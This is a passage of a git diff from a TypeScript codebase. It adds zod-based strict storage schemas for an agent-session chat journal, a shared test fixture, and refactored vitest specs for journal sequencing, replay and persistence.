messageIds: z.array(value), lifted: value }) + .optional(), + retireSubmission: value + }), + z.object({ + ...envelope, + kind: z.literal('submission'), + clientMessageId: value, + payloadFingerprint: value, + providerHandle: storedProviderHandle, + body: storedMessageBody, + handoverRecorded: value, + queuedMessageId: value, + origin: value, + source: z.object({ kind: value }).optional(), + options: legacyOptions + }), + z.object({ + ...envelope, + kind: z.literal('dispatch'), + clientMessageId: value, + state: value, + providerItemId: value, + reason: value, + carries: z.array(value).optional(), + rejection: storedFailureFact.optional(), + keptAsQueuedMessageId: value, + answeredInTurn: z.object({ turnItemId: value, via: value }).nullable().optional() + }), + z.object({ + ...envelope, + kind: z.literal('lifecycle-batch'), + settlementId: value, + mutations: z.array( + z.discriminatedUnion('kind', [z.object(itemMutation), z.object(tombstoneMutation)]) + ) + }), + z.object({ ...envelope, kind: z.literal('queue'), messageId: value, change: queueChange }) +]) +const strictRow = strictStorage(storedRow) + +/** True when an input row holds a key or union tag this build does not declare; main's reader + * judges every value. */ +export function journalRowDeclaresMore(row: unknown): boolean { + return storageVerdict(strictRow, row) === 'newer' +} + +export type JournalRowsAreDeclared = StorageDeclaresAll< + UndeclaredStorageKeys> +> diff --git a/src/main/native-chat/agent-session-journal/journal-storage-schema.ts b/src/main/native-chat/agent-session-journal/journal-storage-schema.ts new file mode 100644 index 00000000000..55e40bed92a --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-schema.ts @@ -0,0 +1,180 @@ +import { z } from 'zod' +import { + AgentJournalKnownSchemas, + AgentJournalRenderItemSchema +} from '../../../shared/agent-session-journal-schemas' +import { AgentJournalSubmissionSchema } from '../../../shared/agent-session-journal-submission-schema' +import { AgentSessionFailureFactSchema } from '../../../shared/agent-session-failure-fact-schema' +import type { AgentSessionFailureFact } from '../../../shared/agent-session-failure' +import type { + AgentJournalRenderItem, + AgentJournalSubmission +} from '../../../shared/agent-session-journal-types' +import type { StorageDeclaresAll, UndeclaredStorageKeys } from './journal-storage-strict' + +// What saved outcomes declare beyond the wire's open schemas, which read only the keys their +// readers use: the shared definitions are reused and completed here. A persisted type gaining a key +// fails the checks at the end of this file until the key is declared; an added optional key needs +// no new format. Keys newly declared here are optional and loosely typed, since only their +// presence decides whether this build understands a value. + +const [ + textBlock, + toolCallBlock, + toolResultBlock, + imageRefBlock, + subagentGroupBlock, + subagentBlock, + backgroundTaskBlock +] = AgentJournalKnownSchemas.blocks +const [ + messageBody, + agentStartBody, + toolCallBody, + diffBody, + approvalBody, + questionBody, + statusBody, + turnBody +] = AgentJournalKnownSchemas.bodies + +const text = z.string().optional() +const count = z.number().optional() +const argumentProblem = z.object({ agent: z.string(), option: z.string(), problem: z.string() }) + +const refusalDetails = z.object({ + reason: text, + ownerVerdict: text, + rewindReason: text, + account: text, + argumentProblem: argumentProblem.optional(), + agent: text, + agentInstallation: z + .object({ agent: z.string(), installedVersion: z.string(), minimumVersion: z.string() }) + .optional(), + codexInstallation: z + .object({ installedVersion: z.string().nullable(), minimumVersion: z.string() }) + .optional(), + currentFence: count, + currentRevision: count, + resolution: AgentJournalKnownSchemas.resolution.optional(), + owner: z.object({ sessionId: z.string(), workspaceId: z.string() }).optional() +}) + +export const storedFailureFact = AgentSessionFailureFactSchema.extend({ + account: text, + refusal: z.object({ code: z.string().min(1), details: refusalDetails.optional() }).optional(), + attachment: z.object({ reason: z.string(), limit: count }).optional(), + retry: z + .object({ error: text, status: count, cause: text, attempt: count, maxRetries: count }) + .optional(), + usageLimit: z.object({ window: text, resetsAt: count }).optional(), + neverReachedAgent: z.literal(true).optional(), + backgroundStop: text, + requestTimeout: z.object({ method: z.string(), timeoutMs: z.number() }).optional() +}) + +// A sender's reader salvages any value of a known key, so only the keys are storage's to close. +const salvaged = z.unknown().optional() +const sender = z.object({ + party: z + .object({ address: salvaged, terminalHandle: salvaged, orcaSessionId: salvaged }) + .nullable() + .optional(), + name: salvaged, + relation: salvaged +}) +const orchestration = z.discriminatedUnion('message', [ + z.object({ + message: z.literal('mail-notice'), + mailbox: salvaged, + dispatchId: salvaged, + messages: z + .array(z.object({ messageId: salvaged, runId: salvaged, from: salvaged })) + .nullable() + .optional() + }), + z.object({ message: z.literal('task'), runId: salvaged, taskId: salvaged, dispatchId: salvaged }) +]) +const messageSource = z.object({ + kind: salvaged, + senders: z.array(sender.nullable()).nullable().optional(), + orchestration: orchestration.nullable().optional() +}) + +const block = z.discriminatedUnion('type', [ + textBlock.extend({ + contextClear: z + .object({ operationId: z.string(), afterFence: z.number(), clearedAt: z.number() }) + .optional(), + failure: storedFailureFact.optional(), + orcaStop: z.object({ cause: z.string(), turnItemId: text }).optional(), + usageLimitTurnItemId: text + }), + toolCallBlock.extend({ state: text, endedAs: text }), + toolResultBlock.extend({ + callId: text, + editPatch: z + .object({ + filePath: text, + hunks: z.array( + z.object({ + oldStart: z.number(), + oldLines: z.number(), + newStart: z.number(), + newLines: z.number(), + lines: z.array(z.string()) + }) + ) + }) + .optional(), + fullOutputItemId: text + }), + imageRefBlock, + subagentGroupBlock, + subagentBlock, + backgroundTaskBlock +]) + +export const storedMessageBody = messageBody.extend({ + blocks: z.array(block), + from: messageSource.nullable().optional() +}) + +export const storedItemBody = z.discriminatedUnion('kind', [ + storedMessageBody, + agentStartBody.extend({ worker: sender.nullable().optional() }), + toolCallBody, + diffBody, + approvalBody, + questionBody, + statusBody.extend({ + failure: storedFailureFact.optional(), + turnLifecycle: turnBody.omit({ kind: true }).optional() + }), + turnBody +]) + +export const storedProviderHandle = z.discriminatedUnion('kind', [ + z.object({ kind: z.literal('codex'), threadId: z.string() }), + z.object({ kind: z.literal('claude'), sessionId: z.string(), leafUuid: z.string().nullable() }), + z.object({ kind: z.literal('opaque'), agent: z.string(), value: z.string() }) +]) + +export const storedItem = AgentJournalRenderItemSchema.extend({ body: storedItemBody }) + +export const storedSubmission = AgentJournalSubmissionSchema.extend({ + rejection: storedFailureFact.optional(), + acceptedSequence: count, + origin: z.enum(['client', 'host']).optional() +}) + +export type StoredValuesAreDeclared = [ + StorageDeclaresAll>>, + StorageDeclaresAll< + UndeclaredStorageKeys> + >, + StorageDeclaresAll< + UndeclaredStorageKeys> + > +] diff --git a/src/main/native-chat/agent-session-journal/journal-storage-strict.ts b/src/main/native-chat/agent-session-journal/journal-storage-strict.ts new file mode 100644 index 00000000000..d01a2d594d9 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-strict.ts @@ -0,0 +1,131 @@ +import { z } from 'zod' +import { + isJournalOpenUnionFallback, + isJournalTag +} from '../../../shared/agent-session-journal-open-union' +import type { AgentJournalUnknownKind } from '../../../shared/agent-session-journal-types' + +// The wire reads a peer's or an older build's value openly. A saved value is different: a build +// that kept a key it does not declare would restate the value without it, so storage refuses the +// chat instead. Only key and union-tag sets are closed; string vocabularies keep the wire's +// fallbacks, and `z.unknown()` stays an opaque value carried whole. + +/** The strict form of a declared schema: objects refuse undeclared keys, open unions refuse + * unknown tags. Checks are kept; a schema kind storage cannot close fails at load. */ +export function strictStorage(schema: z.core.$ZodType): z.ZodType { + if (schema instanceof z.ZodObject) { + const shape = Object.fromEntries( + Object.entries(schema.shape).map(([key, value]) => [key, strictStorage(value)]) + ) + return schema.clone({ ...schema.def, shape, catchall: z.never() }) + } + if (schema instanceof z.ZodUnion) { + const options = schema.options.filter((option) => !isJournalOpenUnionFallback(option)) + const [known] = options + // An open union is its known arms and a fallback that kept the tags storage refuses. + return known && options.length === 1 && schema.options.length === 2 + ? strictStorage(known) + : schema.clone({ ...schema.def, options: options.map(strictStorage) }) + } + if (schema instanceof z.ZodOptional) { + return strictStorage(schema.unwrap()).optional() + } + if (schema instanceof z.ZodNullable) { + return strictStorage(schema.unwrap()).nullable() + } + if (schema instanceof z.ZodArray) { + return schema.clone({ ...schema.def, element: strictStorage(schema.element) }) + } + if (schema instanceof z.ZodTuple) { + const { items, rest } = schema.def + return schema.clone({ + ...schema.def, + items: items.map(strictStorage), + rest: rest && strictStorage(rest) + }) + } + if (schema instanceof z.ZodRecord) { + return schema.clone({ ...schema.def, valueType: strictStorage(schema.def.valueType) }) + } + if ( + schema instanceof z.ZodString || + schema instanceof z.ZodNumber || + schema instanceof z.ZodBoolean || + schema instanceof z.ZodLiteral || + schema instanceof z.ZodEnum || + schema instanceof z.ZodNull || + schema instanceof z.ZodUnknown + ) { + return schema + } + throw new Error(`saved journal storage cannot close a ${schema._zod.def.type} schema`) +} + +/** `newer` when the value holds a key or union tag this build does not declare; `damage` when it + * fails a type this build declares, a blank tag included. */ +export function storageVerdict(schema: z.ZodType, value: unknown): 'stored' | 'newer' | 'damage' { + const parsed = schema.safeParse(value) + if (parsed.success) { + return 'stored' + } + return parsed.error.issues.some((issue) => undeclared(issue, value)) ? 'newer' : 'damage' +} + +// A union's issues locate values relative to the union's own input. +function undeclared(issue: z.core.$ZodIssue, input: unknown): boolean { + if (issue.code === 'unrecognized_keys') { + return true + } + if (issue.code !== 'invalid_union') { + return false + } + const at = issue.path.reduce(child, input) + if (issue.discriminator !== undefined && issue.errors.length === 0) { + return isJournalTag(at) + } + return issue.errors.some((errors) => errors.some((inner) => undeclared(inner, at))) +} + +function child(value: unknown, key: PropertyKey): unknown { + return typeof value === 'object' && value !== null + ? Object.entries(value).find(([name]) => name === String(key))?.[1] + : undefined +} + +type Get = K extends keyof O ? O[K] : never +type At = A extends unknown ? Get : never +type TagKeys = Exclude< + { [K in keyof S]: S[K] extends string ? (string extends S[K] ? never : K) : never }[keyof S], + undefined +> +// The storage arm a value of type T is stored under: the one whose required literal tags it has. +type Arm = S extends object + ? { [K in TagKeys & keyof T]: Get } extends { [K in TagKeys & keyof T]: Get } + ? S + : never + : never +type Keys = A extends unknown ? keyof A : never +type ArmKeys = [A] extends [never] + ? 'a value no storage arm declares' + : + | Exclude> + | { [K in keyof T & Keys]: UndeclaredStorageKeys> }[keyof T & Keys] + +/** Keys of a persisted type, at any depth and in any union member, that its storage schema's + * output `S` leaves undeclared; `never` when it declares them all. An unknown-kind value never + * reaches storage: admission refuses it. A primitive holds no keys; it is settled before `object` + * because an open or branded string (`AgentType`'s `string & {}`) is assignable to `object`. */ +export type UndeclaredStorageKeys = T extends { readonly kind: AgentJournalUnknownKind } + ? never + : T extends string | number | boolean | bigint | symbol | null | undefined + ? never + : T extends readonly (infer E)[] + ? [Extract] extends [never] + ? 'an array storage does not declare' + : UndeclaredStorageKeys[number]> + : T extends object + ? ArmKeys> + : never + +/** Compiles only when every persisted key is declared. */ +export type StorageDeclaresAll = Undeclared diff --git a/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts b/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts index f43deaf9605..bbce643d73a 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts @@ -37,6 +37,7 @@ export type JournalStoreHost = { readOnly: () => boolean cursor: () => AgentJournalCursor adopt: (loaded: JournalLoad) => void + prepare: NonNullable[0]['prepare']> commit: (rows: readonly JournalRow[], savedAt: number) => void journal: () => AgentSessionJournal enqueue: JournalRowWriter['enqueue'] @@ -99,6 +100,7 @@ export function createJournalStoreCollaborators(host: JournalStoreHost): Journal readOnly: host.readOnly, highestFence: () => host.state().highestFence, nextSequence: () => host.state().lastSequence + 1, + prepare: host.prepare, commit: host.commit, streamedTextRevision: (row) => isJournalStreamedTextRevision(host.state(), row) }) diff --git a/src/main/native-chat/agent-session-journal/journal-store-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-store-contract-test-fixture.ts new file mode 100644 index 00000000000..1eaa5c37879 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-store-contract-test-fixture.ts @@ -0,0 +1,99 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalItemBody, + AgentJournalItemIdentity, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import type { openAgentSessionJournal } from './journal-store-factory' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import type Database from '../../sqlite/sync-database' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + } + + let root: string + + let clock = 1_000 + + function tick(): number { + clock += 1 + return clock + } + + function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } + } + + function body(value: string): AgentJournalItemBody { + return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: value }] } + } + + const journals = createTrackedJournalOpener() + + async function open(overrides: Partial[0]> = {}) { + return journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: tick, + mintEpoch: () => `epoch-${clock}`, + ...overrides + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-')) + clock = 1_000 + }) + + afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + async function withJournalDatabase( + stateDirectory: string, + run: (db: Database.Database) => void + ): Promise { + const opened = openTestJournalHostDatabase(stateDirectory) + try { + run(opened.db) + } finally { + await opened.close() + } + } + + return { + IDENTITY, + body, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + item, + journals, + open, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + tick, + withJournalDatabase + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-store-contracts.ts b/src/main/native-chat/agent-session-journal/journal-store-contracts.ts index dcc49ac670b..1c76b6217c5 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-contracts.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-contracts.ts @@ -16,7 +16,7 @@ import type { AgentSessionMessageSource } from '../../../shared/agent-session/ag import type { AgentSessionExecutionOptions } from '../../../shared/agent-session-execution-options' import type { JournalHostDatabase } from './journal-host-database' import type { JournalLifecycleMutationInput } from './journal-row-builders' -import type { JournalRow } from './journal-row-schema' +import type { JournalReadRow } from './journal-read-row' import type { JournalReducerState } from './journal-reducer' import type { JournalRowWriter } from './journal-row-writer' import type { JournalAttachmentClaim } from './journal-submission-hook' @@ -30,7 +30,7 @@ export type AgentSessionJournalOptions = { } export type JournalReadSince = - | { ok: true; rows: JournalRow[]; cursor: AgentJournalCursor } + | { ok: true; rows: JournalReadRow[]; cursor: AgentJournalCursor } | { ok: false; reset: AgentJournalResetReason } export type ResolveDispatchInput = { diff --git a/src/main/native-chat/agent-session-journal/journal-store-restore.ts b/src/main/native-chat/agent-session-journal/journal-store-restore.ts index d4b5e917a78..3fc0a1a1b83 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-restore.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-restore.ts @@ -1,6 +1,6 @@ import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import type { JournalEpochController } from './journal-epoch-controller' -import { replayJournal } from './journal-open' +import { restoreJournal } from './journal-open' import { journalOpenRefusalError } from './journal-open-failure' import type { JournalStoreHost } from './journal-store-collaborators' import { openJournalStoreState } from './journal-store-open' @@ -19,10 +19,13 @@ export async function restoreJournalStore( ) ) } + // Unpaced and charged to no maintenance budget: background work alone pays its duty cycle. + const loaded = restoreJournal(database.db, host.identity.sessionId) return openJournalStoreState({ sessionId: host.identity.sessionId, - replay: () => replayJournal(database.db, host.identity.sessionId), - start: () => collaborators.epochController.start('session_created', 0), + replay: () => loaded, + start: () => + collaborators.epochController.start('session_created', 0, loaded?.state.epoch ?? null), adopt: host.adopt, // Recovery revisions must not count as new provider output. appendItem: (identity, body, fence) => diff --git a/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts b/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts index 08a5ee6eebf..4d632853621 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts @@ -35,7 +35,7 @@ export function registerJournalStoreSchemaTests(): void { let root: string let clock = 1_000 - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) function tick(): number { clock += 1 diff --git a/src/main/native-chat/agent-session-journal/journal-store.spec.ts b/src/main/native-chat/agent-session-journal/journal-store.spec.ts index a274117bcf5..314795f2b93 100644 --- a/src/main/native-chat/agent-session-journal/journal-store.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-store.spec.ts @@ -1,511 +1,9 @@ -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { mkdtemp, readdir, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import type { - AgentJournalItemBody, - AgentJournalItemIdentity, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import { - agentJournalItemKey, - boundJournalKeyComponent, - MAX_JOURNAL_KEY_COMPONENT_CHARS -} from '../../../shared/agent-session-journal-item-key' -import { - boundInlineText, - boundPayload, - JOURNAL_RUNNING_PREVIEW_LIMITS -} from './journal-payload-bounds' -import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' -import { AgentSessionJournalError, type AgentSessionJournal } from './journal-store' -import type { openAgentSessionJournal } from './journal-store-factory' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - liveTestJournalRows, - deleteTestJournalRow -} from './journal-host-database-test-support' -import type Database from '../../sqlite/sync-database' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { createFixture } from './journal-store-contract-test-fixture' +import { registerJournalSequenceReplayTests } from './journal-sequence-replay.spec' +import { registerJournalLifecycleBoundaryTests } from './journal-lifecycle-boundaries.spec' export function registerJournalStoreTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - } - - let root: string - let clock = 1_000 - - function tick(): number { - clock += 1 - return clock - } - - function item(ordinal: number): AgentJournalItemIdentity { - return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } - } - - function body(value: string): AgentJournalItemBody { - return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: value }] } - } - - const journals = createTrackedJournalOpener() - - async function open(overrides: Partial[0]> = {}) { - return journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: tick, - mintEpoch: () => `epoch-${clock}`, - ...overrides - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-journal-')) - clock = 1_000 - }) - - afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - describe('sequences', () => { - it('assigns a contiguous sequence with no gaps or reuse under concurrent appends', async () => { - const journal = await open() - const results = await Promise.all( - Array.from({ length: 25 }, (_unused, index) => - journal.appendItem(item(index), body(`m${index}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - ) - ) - const sequences = results.map((result) => result.cursor.sequence) - expect(new Set(sequences).size).toBe(25) - expect(sequences.slice().sort((a, b) => a - b)).toEqual( - Array.from({ length: 25 }, (_unused, index) => index + 2) - ) - }) - - it('serializes revisions of one item so the last write wins deterministically', async () => { - const journal = await open() - const results = await Promise.all([ - journal.appendItem(item(0), body('a'), { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }), - journal.appendItem(item(0), body('b'), { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }), - journal.appendItem(item(0), body('c'), { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - ]) - expect(results.map((result) => result.revision)).toEqual([1, 2, 3]) - expect(journal.snapshot().items).toHaveLength(1) - expect(journal.snapshot().items[0]?.revision).toBe(3) - }) - - it('visits reduced items at their creation sequence without promoting an older revision', async () => { - const journal = await open() - await journal.appendItem(item(0), body('first'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const latest = await journal.appendItem(item(1), body('second'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(item(0), body('first revised'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const visited: { itemId: string; sequence: number }[] = [] - - journal.visitItems((itemId, sequence) => visited.push({ itemId, sequence })) - - expect(visited).toEqual([ - { itemId: agentJournalItemKey(item(0)), sequence: 2 }, - { itemId: latest.itemId, sequence: latest.cursor.sequence } - ]) - }) - - it('reads the live turn off reduced items, agreeing with the rendered snapshot', async () => { - const journal = await open() - const turnItem = (turnId: string): AgentJournalItemIdentity => ({ - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: `turn-lifecycle:${turnId}` - }) - const rendered = (): string | null => - activeStructuredAgentSessionTurnId(journal.snapshot().items) - const bothAgreeOn = async (turnId: string | null): Promise => { - expect(journal.runningTurn()?.turnId ?? null).toBe(turnId) - expect(rendered()).toBe(turnId) - } - - await journal.appendItem( - turnItem('turn-1'), - { kind: 'turn', turnId: 'turn-1', state: 'running' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await journal.appendItem(item(0), body('work'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await bothAgreeOn('turn-1') - - // Revisions retain creation position. - await journal.appendItem( - turnItem('turn-1'), - { kind: 'turn', turnId: 'turn-1', state: 'completed' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await bothAgreeOn(null) - - await journal.appendItem( - turnItem('turn-2'), - { kind: 'turn', turnId: 'turn-2', state: 'running' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await bothAgreeOn('turn-2') - }) - - it('preserves an oversized identity and its raw digest-form mimic across reopen', async () => { - const oversizedTurnId = 'a'.repeat(MAX_JOURNAL_KEY_COMPONENT_CHARS + 1) - const digestFormMimic = boundJournalKeyComponent(oversizedTurnId) - const identityFor = (turnId: string): AgentJournalItemIdentity => ({ - provider: 'codex', - threadId: 'thread-1', - turnId, - ordinal: 0 - }) - const oversizedIdentity = identityFor(oversizedTurnId) - const mimicIdentity = identityFor(digestFormMimic) - const journal = await open() - - const oversized = await journal.appendItem(oversizedIdentity, body('oversized'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const mimic = await journal.appendItem(mimicIdentity, body('mimic'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(oversized.itemId).not.toBe(mimic.itemId) - expect([oversized.revision, mimic.revision]).toEqual([1, 1]) - - const reopened = await open() - expect(reopened.snapshot().items.map((entry) => entry.body)).toEqual([ - body('oversized'), - body('mimic') - ]) - - await reopened.appendTombstone(oversizedIdentity, { fence: 1 }) - const afterTombstoneReopen = await open() - expect(afterTombstoneReopen.snapshot().items.map((entry) => entry.body)).toEqual([ - body('mimic') - ]) - }) - }) - - describe('fences', () => { - it('rejects an append from a writer behind the journal', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await expect( - journal.appendItem(item(1), body('b'), { fence: 6, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - ).rejects.toBeInstanceOf(AgentSessionJournalError) - }) - - it('keeps accepting appends after a rejected one', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal - .appendItem(item(1), body('b'), { fence: 6, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - .catch(() => undefined) - await journal.appendItem(item(2), body('c'), { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([body('a'), body('c')]) - }) - }) - - describe('replay', () => { - it('reopens to the same render model the live writer held', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(item(1), body('b'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(item(0), body('a2'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendTombstone(item(1), { fence: 1 }) - const live = journal.snapshot() - - const reopened = await open() - expect(reopened.snapshot()).toEqual(live) - }) - - it('serves a resume from a cursor and refuses one from a stale epoch', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const cursor = journal.cursor() - await journal.appendItem(item(1), body('b'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - - const resumed = journal.readSince(cursor) - expect(resumed.ok && resumed.rows).toHaveLength(1) - - await journal.rollEpoch('handle_forked', 2) - expect(journal.readSince(cursor)).toEqual({ ok: false, reset: 'epoch_changed' }) - }) - - it('rebuilds from a clean epoch after a rollover', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.rollEpoch('unreconcilable_prefix', 2) - expect(journal.snapshot().items).toHaveLength(0) - - const reopened = await open() - expect(reopened.epoch).toBe(journal.epoch) - expect(reopened.snapshot().items).toHaveLength(0) - }) - - it('refuses a journal with a gap and keeps every row', async () => { - const journal = await open() - for (let index = 0; index < 4; index += 1) { - await journal.appendItem(item(index), body(`m${index}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - await journal.close() - await withJournalDatabase(root, (db) => { - deleteTestJournalRow(db, IDENTITY.sessionId, 3) - }) - - await expect(open()).rejects.toMatchObject({ - refusal: { details: { reason: 'journalCorrupt' } } - }) - await withJournalDatabase(root, (db) => { - const rows = liveTestJournalRows(db, IDENTITY.sessionId) - expect(rows.map((row) => row.seq)).toEqual([1, 2, 4, 5]) - }) - }) - }) - - describe('bounds', () => { - it('marks a clipped payload instead of dropping bytes silently', () => { - const limits = { inlineHeadBytes: 16 } - const bounded = boundPayload('x'.repeat(4_096), limits) - expect(bounded.truncated).toBe(true) - expect(bounded.head).toHaveLength(16) - expect(bounded.byteLength).toBe(4_096) - expect(boundInlineText('x'.repeat(4_096), limits).text).toContain('output truncated') - }) - - it('never splits a multi-byte character across the bound', () => { - const limits = { inlineHeadBytes: 4 } - // Three-byte characters expose UTF-8 splits. - const bounded = boundPayload('日本語テスト', limits) - expect(bounded.head).toBe('日') - expect(Buffer.byteLength(bounded.head, 'utf8')).toBeLessThanOrEqual(4) - }) - - it('leaves a payload inside the bound untouched', () => { - const bounded = boundPayload('small', JOURNAL_RUNNING_PREVIEW_LIMITS) - expect(bounded.truncated).toBe(false) - expect(bounded.head).toBe('small') - expect(boundInlineText('small', JOURNAL_RUNNING_PREVIEW_LIMITS).text).toBe('small') - }) - }) - - describe('lifecycle batches', () => { - it('deduplicates concurrent submissions before appending a second row', async () => { - const journal = await open() - const input = { - settlementId: 'concurrent-settlement', - fence: 1, - mutations: [ - { - kind: 'item' as const, - identity: item(1), - body: body('settled'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - } - - const [first, replay] = await Promise.all([ - journal.appendLifecycleBatch(input), - journal.appendLifecycleBatch(input) - ]) - - expect([replay, first.sequence]).toEqual([first, 2]) - }) - - it('applies every mutation at one sequence and deduplicates a replay across reopen', async () => { - const journal = await open() - const turn: AgentJournalItemIdentity = { - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: 'turn-lifecycle:turn-1' - } - await journal.appendItem( - turn, - { kind: 'status', text: 'working' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - - const settled = await journal.appendLifecycleBatch({ - settlementId: 'exit:turn-1', - fence: 1, - mutations: [ - { - kind: 'item', - identity: item(1), - body: body('tool settled'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { - kind: 'item', - identity: { provider: 'orca', clientMessageId: 'exit-status' }, - body: { kind: 'status', text: 'Provider exited' }, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { kind: 'tombstone', identity: turn } - ] - }) - const atSettlement = journal - .snapshot() - .items.filter((entry) => entry.sequence === settled.sequence) - expect(atSettlement).toHaveLength(2) - expect( - journal - .snapshot() - .items.some((entry) => entry.body.kind === 'status' && entry.body.text === 'working') - ).toBe(false) - await journal.close() - - const reopened = await open() - const beforeReplay = reopened.cursor() - const replay = await reopened.appendLifecycleBatch({ - settlementId: 'exit:turn-1', - fence: 1, - mutations: [ - { - kind: 'item', - identity: item(9), - body: body('must not appear'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - }) - expect(replay).toEqual(beforeReplay) - expect( - reopened - .snapshot() - .items.some( - (entry) => - entry.body.kind === 'message' && - entry.body.blocks.some( - (block) => block.type === 'text' && block.text === 'must not appear' - ) - ) - ).toBe(false) - }) - }) - - describe('on-disk layout', () => { - it('keeps every chat of the state directory in its one database, and no per-chat file', async () => { - const journal: AgentSessionJournal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(await readdir(root)).toContain('agent-session-journal.db') - expect(await readdir(root)).not.toContain('agent-session-journal') - await journal.close() - await withJournalDatabase(root, (db) => { - expect(liveTestJournalRows(db, IDENTITY.sessionId)[1]?.rowJson).toContain('"kind":"item"') - expect(db.prepare('SELECT epoch FROM 